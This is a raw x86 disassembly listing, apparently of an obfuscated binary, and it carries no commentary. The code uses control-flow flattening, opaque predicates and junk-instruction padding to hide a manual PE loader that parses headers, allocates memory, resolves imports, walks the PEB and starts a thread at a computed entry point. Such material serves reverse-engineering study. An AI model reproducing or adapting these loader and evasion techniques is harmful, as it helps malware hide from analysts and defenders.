cmp eax, 0x62b722e5
jle 0x404736
cmp eax, 0x63a2551a
jle 0x406598
cmp eax, 0x63a2551b
je 0x4099cf
cmp eax, 0x646c76db
je 0x4099d9
cmp eax, 0x651fa194
jne 0x402240
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ecx, 0x533c6ffb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x308c6cfd
cmove eax, ecx
jmp 0x402240
cmp eax, 0xe9af17d6
jle 0x40479a
cmp eax, 0xed234cdc
jle 0x406729
cmp eax, 0xed234cdd
je 0x4099ef
cmp eax, 0xed2dff5f
je 0x409b0e
cmp eax, 0xed40eaca
jne 0x402240
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x198]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov esi, dword [ebp - 0x30]
lea ecx, [ecx + ecx*4]
mov esi, dword [esi]
mov edi, dword [ebp - 0x24]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add edx, dword [esi + edi*8 + 0xc]
push dword [ebp - 0xc0]
push dword [ebp - 0x190]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.00401c20
add esp, 0x10
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, 0xfed5875a
jmp 0x402240
cmp eax, 0x22b8faa1
jle 0x4047c5
cmp eax, 0x2334a934
jle 0x406bad
cmp eax, 0x2334a935
je 0x409b18
cmp eax, 0x234d1cf7
je 0x409b2e
cmp eax, 0x23b509c4
jne 0x402240
mov eax, 0x7ac10576
jmp 0x402240
cmp eax, 0x920dfb78
jle 0x4047f0
cmp eax, 0x92c54e2f
jle 0x406ccd
cmp eax, 0x92c54e30
je 0x409cf3
cmp eax, 0x93b2caf4
je 0x409e03
cmp eax, 0x93c98ad7
jne 0x402240
mov eax, dword [ebp - 0x28]
cmp dword [eax], 0
mov eax, 0x49214a45
sets byte [ebp - 0x75]
jmp 0x402240
cmp eax, 0x5616e5a1
jle 0x404dbf
cmp eax, 0x568ebed5
jle 0x406ced
cmp eax, 0x568ebed6
je 0x409e16
cmp eax, 0x56f10c4f
je 0x409e20
cmp eax, 0x573695f3
jne 0x402240
cmp byte [ebp - 0x79], 0
mov eax, 0x6b8e2f0c
mov ecx, 0xf78fac7b
cmovne eax, ecx
jmp 0x402240
cmp eax, 0xd5a21c28
jle 0x404f1b
cmp eax, 0xd7d71718
jle 0x406d0d
cmp eax, 0xd7d71719
je 0x409e2a
cmp eax, 0xd9684648
je 0x409e48
cmp eax, 0xd9dc0592
jne 0x402240
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x174], eax
mov eax, 0x816be4fb
jmp 0x402240
cmp eax, 0x193a8f3a
jle 0x406d39
cmp eax, 0x193a8f3b
je 0x409f88
cmp eax, 0x19cc6676
je 0x409f92
cmp eax, 0x1a4cc67a
jne 0x402240
push 4
push 0x3000
push dword [ebp - 0x12c]
push dword [ebp - 0xd8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xb81aa2ca
mov eax, dword [ebp - 0x38]
cmp dword [eax + 4], 0
mov eax, 0x57bb8847
cmove eax, ecx
jmp 0x402240
cmp eax, 0xbcdbc34b
jle 0x406e9c
cmp eax, 0xbcdbc34c
je 0x409f9c
cmp eax, 0xbdb1960a
je 0x409fa6
cmp eax, 0xc05a0ab4
jne 0x402240
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
movzx edx, word [ecx]
mov ecx, edx
not ecx
and edx, 0x418
mov esi, ecx
and esi, 0x83
and ecx, 0xfffffb64
or edx, esi
xor edx, 0x418
or ecx, edx
mov edi, ecx
xor edi, 0xffff938b
mov esi, ecx
and esi, 0x310c
and edi, ecx
not ecx
and ecx, 0xffffcef3
or esi, ecx
mov ecx, esi
xor ecx, 0xffffcef3
xor esi, 8
mov edx, ecx
or edx, 0x6c74
and esi, 0xffff828b
and ecx, 0xfffff000
mov ebx, edx
and ebx, 0x5d20
or esi, ebx
mov ebx, edi
not ebx
and edi, 0xffffa2df
or edx, ebx
and ebx, 0x5d20
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x5fce
and esi, 0xffffa031
or edx, esi
xor edx, 0xffffc3ba
or ecx, edx
mov edx, ecx
andn esi, ecx, ecx
not ecx
and edx, 0xffffddd0
and ecx, 0x222f
mov ebx, esi
not ebx
and esi, 0x51b8
or edx, ecx
mov ecx, edx
xor ecx, 0x5190
xor edx, 0x222f
mov edi, edx
or edx, ebx
and ebx, 0xffffae47
and edi, 0xffffae47
and ecx, 0x51b8
or ecx, edi
or esi, ebx
not edx
xor esi, ecx
or edx, esi
movzx ecx, dx
add ecx, dword [eax]
mov eax, 0x85bc9169
mov dword [ebp - 0x114], ecx
jmp 0x402240
cmp eax, 0x7245911d
jle 0x407057
cmp eax, 0x7245911e
je 0x409fbb
cmp eax, 0x72fc197e
je 0x409fc8
cmp eax, 0x73769a0e
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xe5f482a0
not edx
mov esi, edx
and ecx, eax
and esi, 0xe5f482a0
and edx, 0x430ba59c
and eax, 0xbcf45a63
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xec22f1d3
mov edx, eax
xor edx, 0xbcf45a63
xor eax, 0x430ba59c
and esi, 0x13dd0e2c
or ecx, esi
mov esi, ecx
xor esi, 0x9d67372
xor ecx, 0xf6298c8d
and eax, esi
and edx, ecx
mov esi, 0xd6adc660
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ch
cmp dword [0x4a2b80], 0xa
setl al
setge dh
mov ah, al
and dl, al
or al, ch
and dh, ch
xor ah, ch
or dl, dh
xor al, 1
mov cl, ah
or al, dl
mov dl, ah
xor cl, 1
mov ch, al
and dl, cl
xor ch, 1
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
and dl, al
or al, cl
xor ah, 1
mov cl, al
and ah, ch
or dl, ah
xor cl, dl
test cl, 1
mov ecx, 0xaea9901e
cmovne ecx, esi
test al, al
mov eax, 0xaea9901e
jmp 0x40bc77
cmp eax, 0xfbb73dc7
jle 0x407094
cmp eax, 0xfbb73dc8
je 0x409fd2
cmp eax, 0xfbca10a6
je 0x409ff6
cmp eax, 0xfd0933d9
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd1c8f2fd
and eax, 0x2e370d02
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x20210d02
xor edx, 0xd1c8f2fd
xor eax, 0x602812fd
and eax, edx
and ecx, 0x21a15fc2
and edx, 0xde5ea03d
or edx, ecx
mov ecx, edx
xor ecx, 0xde5ea03d
xor edx, 0x2006c0
mov esi, ecx
and esi, 0xb1e0e000
and edx, 0x863206d4
and ecx, 0x79cdf92a
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xa5f2d5ee
xor ecx, 0x79cdf92a
and esi, 0x5a0d2a11
or eax, esi
mov esi, 0xbefb334
xor eax, 0x141235ef
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe85b9402
and eax, 0x17a46bfd
or eax, ecx
mov ecx, eax
xor ecx, 0x68488402
xor eax, 0x1a44935
and ecx, 0x7e48a6ca
and eax, 0x81b75935
or eax, ecx
xor eax, 0x81b75935
setne al
sete cl
cmp dword [0x4a2b80], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0xcc9a4cbc
cmovne edx, esi
test al, al
mov esi, 0xcc9a4cbc
jmp 0x40671a
cmp eax, 0x3e1c7d86
jle 0x4070bd
cmp eax, 0x3e1c7d87
je 0x40a003
cmp eax, 0x4114c820
je 0x40a00d
cmp eax, 0x41672ceb
jne 0x402240
mov eax, 0x62b722e6
jmp 0x402240
cmp eax, 0x8f55f158
jle 0x40725a
cmp eax, 0x8f55f159
je 0x40a020
cmp eax, 0x8fe67411
je 0x40a02a
cmp eax, 0x90512409
jne 0x402240
mov eax, dword [ebp - 0x180]
mov ecx, 0x9df33ad0
cmp eax, 0xc
mov eax, 0x61dcc12d
cmove eax, ecx
jmp 0x402240
cmp eax, 0x4f106792
jle 0x407286
cmp eax, 0x4f106793
je 0x40a181
cmp eax, 0x50c466e6
je 0x40a18e
cmp eax, 0x52b0d059
jne 0x402240
cmp byte [ebp - 0x74], 0
mov eax, 0xc21dee7e
mov ecx, 0x93c98ad7
cmovne eax, ecx
jmp 0x402240
cmp eax, 0xcf573b1a
jle 0x4072a6
cmp eax, 0xcf573b1b
je 0x40a1be
cmp eax, 0xd0170978
je 0x40a44d
cmp eax, 0xd05e69d5
jne 0x402240
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x4a2b84]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x26082150
and eax, 0xd965deac
mov edx, ecx
and edx, 0x920003
or esi, edx
xor esi, 0x26082150
or eax, esi
mov esi, 0x5380715f
mov edx, eax
not edx
and eax, 0x269a2152
and edx, 0xd965dead
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd74b56c
and ecx, 0x328b4a93
or eax, ecx
xor eax, 0xcd74b56c
setne cl
sete dl
cmp dword [0x4a2b80], 0xa
setl al
setge ah
and al, cl
mov cl, ah
xor cl, dl
and dl, ah
or al, dl
and cl, ah
or cl, al
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x851f4497
xor cl, al
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x851f4497
jmp 0x40a798
cmp eax, 0xf99c95d
jle 0x407366
cmp eax, 0xf99c95e
je 0x40a5eb
cmp eax, 0xfbbc9ff
je 0x40a6ff
cmp eax, 0x10fd536a
jne 0x402240
mov eax, 0x219f41e4
jmp 0x402240
cmp eax, 0xb12d3409
jle 0x4073da
cmp eax, 0xb12d340a
je 0x40a7a8
cmp eax, 0xb160ee45
je 0x40a7d1
cmp eax, 0xb326c396
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x5009cc10
and eax, 0xf801000
mov edx, ecx
or edx, 0x6620cf
and esi, 0x506fecdf
and ecx, 0xa0100320
and edx, 0x506fecdf
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa07623ef
and ecx, 0x5f89dc10
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa9c765f8
not ecx
and eax, 0x68d0b296
mov esi, ecx
and esi, 0x56389a06
and edx, 0xa9c765f9
or edx, esi
mov esi, ecx
and esi, 0x972f4d69
and ecx, 1
or esi, eax
xor esi, 0x68d0b297
or ecx, esi
mov esi, 0x7f21609e
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8ca9b298
and eax, 0x73564d67
or ecx, eax
xor ecx, 0x8ca9b298
sete cl
setne dl
cmp dword [0x4a2b80], 0xa
setge ah
setl al
mov ch, ah
and al, dl
and ch, cl
xor cl, ah
and cl, ah
inc ah
or al, ch
and ah, dl
mov edx, ecx
or ah, ch
xor dl, 1
mov ch, al
xor cl, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
mov dl, ah
xor cl, 1
and dl, cl
xor ch, cl
xor dl, 1
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ah
or cl, ch
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
mov al, cl
or dl, ah
xor al, dl
test al, 1
mov eax, 0x5e22b9c
cmovne eax, esi
test cl, 1
mov ecx, 0x5e22b9c
jmp 0x40222b
cmp eax, 0x6b8e2f0b
jle 0x4073fa
cmp eax, 0x6b8e2f0c
je 0x40a878
cmp eax, 0x6bf1b363
je 0x40a88d
cmp eax, 0x6c519a8d
jne 0x402240
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x15c], eax
mov eax, 0xc6a16492
jmp 0x402240
cmp eax, 0xf56e9252
jle 0x40741a
cmp eax, 0xf56e9253
je 0x40a897
cmp eax, 0xf6f24a51
je 0x40a9d9
cmp eax, 0xf740d745
jne 0x402240
mov eax, 0xb585a7fe
jmp 0x402240
cmp eax, 0x2b464c02
jle 0x40743a
cmp eax, 0x2b464c03
je 0x40a9e6
cmp eax, 0x2b60bb4e
je 0x40a9f0
cmp eax, 0x2d405583
jne 0x402240
mov ecx, dword [0x4a2b84]
mov edi, 0x68459323
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xc1f14a7b
mov ecx, eax
and ecx, 0xc0c04860
and edx, eax
not eax
and eax, 0x131021b
or ecx, eax
xor ecx, 0xc0c04860
or ecx, edx
not edx
and edx, 0x3e0eb584
and ecx, 0xc1f14a7b
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x97c45fb1
and ecx, 0xf54801d0
and eax, 0x683ba04e
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x97c45fb1
xor esi, 0x628c5e61
xor edx, 0x20182000
and esi, eax
and edx, 0x25d876a0
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa0e4d3c8
and esi, 0x5f1b2c37
or ecx, esi
mov esi, eax
and esi, 0xda27895f
and eax, 1
or esi, edx
xor ecx, 0xaa532de6
xor esi, 0x25d876a1
or eax, esi
mov edx, eax
not edx
and eax, 0x49c0b74a
and edx, 0xb63f48b5
or eax, edx
xor eax, 0x49c0b74a
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x868c1704
and eax, 0x40094430
mov edx, ecx
and edx, 0x7973e8fb
or ecx, 0xa4d0020a
or esi, edx
and ecx, 0xbef00ace
mov edx, esi
xor esi, 0x2050000a
xor edx, 0x41100
or eax, ecx
or esi, 0x1a2008c4
and edx, 0x106b101
and esi, 0xbef00ace
or edx, esi
mov esi, 0xa22e98b8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xa5d6b30b
and ecx, 0x5a294cf4
or eax, ecx
setne al
sete cl
cmp dword [0x4a2b80], 0xa
setl dl
setge ah
and al, dl
or dl, cl
and ah, cl
or al, ah
xor dl, 1
or dl, al
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
test cl, 1
not dl
cmovne esi, edi
test dl, al
cmovne esi, edi
test cl, 1
jmp 0x407dcd
cmp eax, 0x9a9acf1b
jle 0x407466
cmp eax, 0x9a9acf1c
je 0x40a9fa
cmp eax, 0x9d6ebbcb
je 0x40aad5
cmp eax, 0x9d7da203
jne 0x402240
cmp byte [ebp - 0x71], 0
mov eax, 0xb74918f6
mov ecx, 0xaad0e91b
cmovne eax, ecx
jmp 0x402240
cmp eax, 0x5e88a2d1
jle 0x4075a0
cmp eax, 0x5e88a2d2
je 0x40aadf
cmp eax, 0x5eddd593
je 0x40abf0
cmp eax, 0x5fa8b481
jne 0x402240
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, 0x6ee486e5
jmp 0x402240
cmp eax, 0xe1430e1f
jle 0x407794
cmp eax, 0xe1430e20
je 0x40acc1
cmp eax, 0xe146c161
je 0x40ae3a
cmp eax, 0xe42f5ddc
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0xc59fd1f2
mov esi, edx
and ecx, 0x3df9b623
and esi, 0xc20649dc
or esi, ecx
mov ecx, edx
or ecx, 0x3df9b622
and edx, 0x3a602e0d
and ecx, 0x3df9b623
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xc59fd1f2
xor eax, 0x3a602e0d
mov esi, 0x5eddd593
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x4a2b80], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or dl, ah
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4114c820
cmovne esi, eax
test cl, 1
mov eax, 0x5eddd593
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x402240
cmp eax, 0x1e6eb0a0
jle 0x4077b4
cmp eax, 0x1e6eb0a1
je 0x40af38
cmp eax, 0x1e86f1c2
je 0x40b006
cmp eax, 0x201aa3ee
jne 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0x6825c17a
jmp 0x402240
cmp eax, 0xc51d20dd
jle 0x4077d4
cmp eax, 0xc51d20de
je 0x40b010
cmp eax, 0xc531f5e3
je 0x40b029
cmp eax, 0xc5350116
jne 0x402240
mov eax, 0x651fa194
jmp 0x402240
cmp eax, 0x7cabb318
jle 0x4077f4
cmp eax, 0x7cabb319
je 0x40b1b5
cmp eax, 0x7d5c56b2
je 0x40b2ba
cmp eax, 0x7f21609e
jne 0x402240
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x88]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0x5e22b9c
jmp 0x402240
cmp eax, 0xffd1bd9d
jle 0x4078ee
cmp eax, 0xffd1bd9e
je 0x40b2ca
cmp eax, 0x2a520b
je 0x40b2e3
cmp eax, 0x38fbf1
jne 0x402240
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xc971656a
jmp 0x402240
cmp eax, 0x3648d34f
jle 0x407aa6
cmp eax, 0x38eed560
je 0x40b3c5
cmp eax, 0x39f09083
jne 0x40e15a
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
movzx edx, al
mov ebx, ecx
and ebx, 0x808800
mov esi, ecx
or esi, 0x808801
and ecx, 0x8621220
or edx, ebx
and esi, 0xd385c95b
xor edx, 0x808800
or edx, 0xd305415a
and edx, 0xd385c95b
or ecx, edx
mov edx, eax
and edx, 0x24182484
or edx, esi
xor edx, ecx
mov ecx, edx
not ecx
and edx, 0x9d19db9
and ecx, 0xf62e6246
or edx, ecx
mov ecx, edx
xor ecx, 0x1330799
xor edx, 0xfeccf866
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ch
sete al
cmp dword [0x4a2b80], 0xa
mov cl, ch
setge ah
setl dl
and ch, dl
and ah, al
xor cl, dl
or dl, al
or ah, ch
mov ch, dl
mov al, cl
xor ah, 1
xor al, 1
xor ch, ah
or ah, dl
and cl, al
xor ah, 1
xor cl, 1
or ah, ch
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ch, al
xor ch, cl
or cl, al
mov ah, dl
xor cl, 1
xor ah, 1
or cl, ch
mov ch, cl
and cl, dl
xor ch, 1
and ch, ah
mov ah, al
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
or dl, ah
mov eax, 0x3c731a1
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0xfdd5e4a7
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x3c731a1
cmove eax, edx
jmp 0x402240
cmp eax, 0x844fab22
jg 0x407ae0
cmp eax, 0x81504a1a
je 0x40b3d8
cmp eax, 0x816be4fb
jne 0x402240
mov eax, dword [ebp - 0x174]
cmp dword [eax], 0
mov eax, 0x43b25675
setne byte [ebp - 0x72]
jmp 0x402240
cmp eax, 0x43b25674
jg 0x407b31
cmp eax, 0x416e0c9b
je 0x40b3f6
cmp eax, 0x421ae635
jne 0x402240
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
movzx ecx, word [ebp - 0xce]
mov word [eax], cx
mov eax, 0xfbbc9ff
jmp 0x402240
cmp eax, 0xc6a16491
jg 0x407b5a
cmp eax, 0xc5a4fdf4
je 0x40b400
cmp eax, 0xc62b98c1
jne 0x402240
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0xea569b96
mov edx, esi
and edx, 0x15a96468
and esi, 0x40396828
or edx, eax
mov eax, ecx
or eax, 0xea569b96
and ecx, 0xbfc697d7
and eax, 0xea569b97
or ecx, esi
xor eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xb8dfab39
and edx, 0x472054c6
or edx, esi
mov esi, ecx
xor esi, 0x70014c6
xor ecx, 0x40396828
or eax, ecx
and ecx, 0xb8dfab39
and esi, 0x472054c6
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x85130339
mov ecx, eax
not ecx
and eax, 0x8a3c3989
and ecx, 0x75c3c676
or eax, ecx
cmp eax, 0x8a3c3989
setne ah
cmp dword [0x4a2b80], 0xa
mov cl, ah
setl dl
setge ch
inc cl
mov al, cl
and al, ah
and ah, dl
or dl, cl
xor al, 1
xor dl, 1
mov dh, al
or al, cl
xor dh, cl
and cl, ch
xor al, 1
or cl, ah
or al, dh
or cl, dl
xor al, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, ah
or ah, al
xor dl, 1
xor cl, al
xor ah, 1
or dl, ch
or ah, cl
xor dl, al
mov ecx, 0x41672ceb
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x41672ceb
jmp 0x40bc77
cmp eax, 0x47e6040
jg 0x407ba4
cmp eax, 0x102abb4
je 0x40b40a
cmp eax, 0x3c731a1
jne 0x402240
mov eax, 0xb8e7868c
jmp 0x402240
cmp eax, 0x9fceccc8
jg 0x407ce5
cmp eax, 0x9df33ad0
je 0x40b420
cmp eax, 0x9fa4be36
jne 0x402240
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x17c], eax
mov eax, 0x35badffd
jmp 0x402240
cmp eax, 0x61456140
jg 0x407d05
cmp eax, 0x60d08ab3
je 0x40b435
cmp eax, 0x60eaf1ef
jne 0x402240
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x19c]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov ecx, 0x5d33e117
mov eax, dword [ebp - 0x68]
cmp byte [eax], 0
mov eax, 0x38fbf1
cmove eax, ecx
jmp 0x402240
cmp eax, 0xe5da2b56
jg 0x407dde
cmp eax, 0xe4559994
je 0x40b43f
cmp eax, 0xe5180cc3
jne 0x402240
mov eax, 0x9df33ad0
jmp 0x402240
cmp eax, 0x219f41e3
jg 0x407ead
cmp eax, 0x20e920de
je 0x40b54a
cmp eax, 0x2190d9b5
jne 0x402240
mov eax, 0xfd486c1f
jmp 0x402240
cmp eax, 0x91a61c01
jg 0x407ecd
cmp eax, 0x90935cf5
je 0x40b678
cmp eax, 0x90b7472a
jne 0x402240
or edx, 4
or edi, 0x2d
add ebx, 0x75
or esi, 0x19
rcr esi, 0x92
rol edx, 0x32
rol esi, 0x3f
or edx, 0xdb
sub edi, 0x3f
add edi, 0x14
dec edx
ror ebx, 0x95
or esi, 0xff
sbb esi, 0xb4
dec eax
not edi
bswap edx
and edx, 0x1d
rol eax, 0x2f
imul edx
rcl edx, 0x78
sbb edx, 0xd7
and eax, 0x7a
add esi, 0x28
and edx, 0xe7
ror edi, 0x74
rcl ebx, 0xfa
bswap esi
dec edi
not edx
rol esi, 0xb6
not esi
neg ebx
and ebx, 0xb7
and esi, 0xa1
and edx, 0x24
dec edi
dec eax
add edx, 0x62
rcl eax, 0x93
and esi, 0x9a
dec esi
neg esi
add esi, 0xbb
neg eax
sbb esi, 0xdb
sbb edi, 0xea
neg eax
bswap eax
rcr esi, 0xb1
bswap ebx
imul edx
neg esi
add edx, 0xb6
add edx, 0xd0
bswap ebx
imul edx
and esi, 0x34
rcr edi, 0xf2
add esi, 0x69
rcl ebx, 0xe0
or ebx, 0x67
or edi, 0x9a
neg edx
not esi
bswap eax
sbb edi, 0x51
mov edx, 0x8f
mov edx, 0x10
imul ebx
add ebx, 0xcc
not edx
imul edi
bswap edi
sub ebx, 0x76
inc edi
mov ebx, 0x19
bswap edx
inc edi
bswap ebx
neg edi
bswap ebx
rcl esi, 0x82
or esi, 0x7e
neg eax
dec ebx
imul edi
sbb ebx, 0xb5
not esi
bswap ebx
bswap eax
inc eax
rcl edx, 0xb6
dec edx
or esi, 0x2f
and ebx, 0xd8
rol eax, 0xe
neg eax
dec edi
dec edi
imul esi
dec edx
rol ebx, 0x51
ror edi, 0xfb
sbb eax, 0x31
not ebx
bswap eax
dec edi
and edx, 0x95
inc esi
rol eax, 0x1e
mov edx, 0x1f
or ebx, 0xff
imul esi
or ebx, 0xd3
sub edx, 0xe7
ror eax, 0x68
not edx
or edi, 0x1a
rcl edx, 0x91
mov ebx, 0xf6
not esi
not eax
rol esi, 0xf1
bswap esi
imul edi
add edi, 0x60
rcr esi, 0x74
dec esi
inc ebx
inc esi
dec edx
bswap esi
inc edx
inc edi
sub edx, 0x4f
or edi, 0xab
not edx
dec eax
neg ebx
rcr esi, 0x8a
sbb esi, 0x1b
mov edi, 1
neg esi
rol eax, 0x70
mov eax, 0x27
neg edx
rcr edx, 0x95
bswap edx
sub edi, 0x75
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb0]
add eax, 0xfffffff8
mov dword [ecx], eax
not esi
rcl ebx, 0x29
sub eax, 0x34
ror esi, 0xb8
bswap esi
rol ebx, 0xfd
ror edx, 0x91
neg edi
imul eax
neg edi
sbb ebx, 0x5f
rcr edx, 0xd5
neg eax
bswap eax
sbb eax, 0x12
rcl esi, 0xfd
inc edx
ror edi, 0xb2
dec edi
sbb edi, 0x17
ror edx, 0xf2
imul ebx
or edi, 0xef
not esi
not eax
bswap esi
or edi, 0x4b
neg eax
bswap esi
inc esi
sbb edx, 3
and ebx, 0x1f
and esi, 0x76
inc eax
rcl esi, 0x10
dec edi
dec esi
add ebx, 0x7a
or edi, 0x59
dec esi
add edi, 0x30
and edi, 0xc4
bswap edi
or edx, 0x7e
bswap ebx
or esi, 0x21
neg eax
inc edx
rcr esi, 0xb
or edx, 0xc7
add eax, 7
sub eax, 0xd6
ror edi, 0xc
rcl edx, 0x9d
imul esi
inc edi
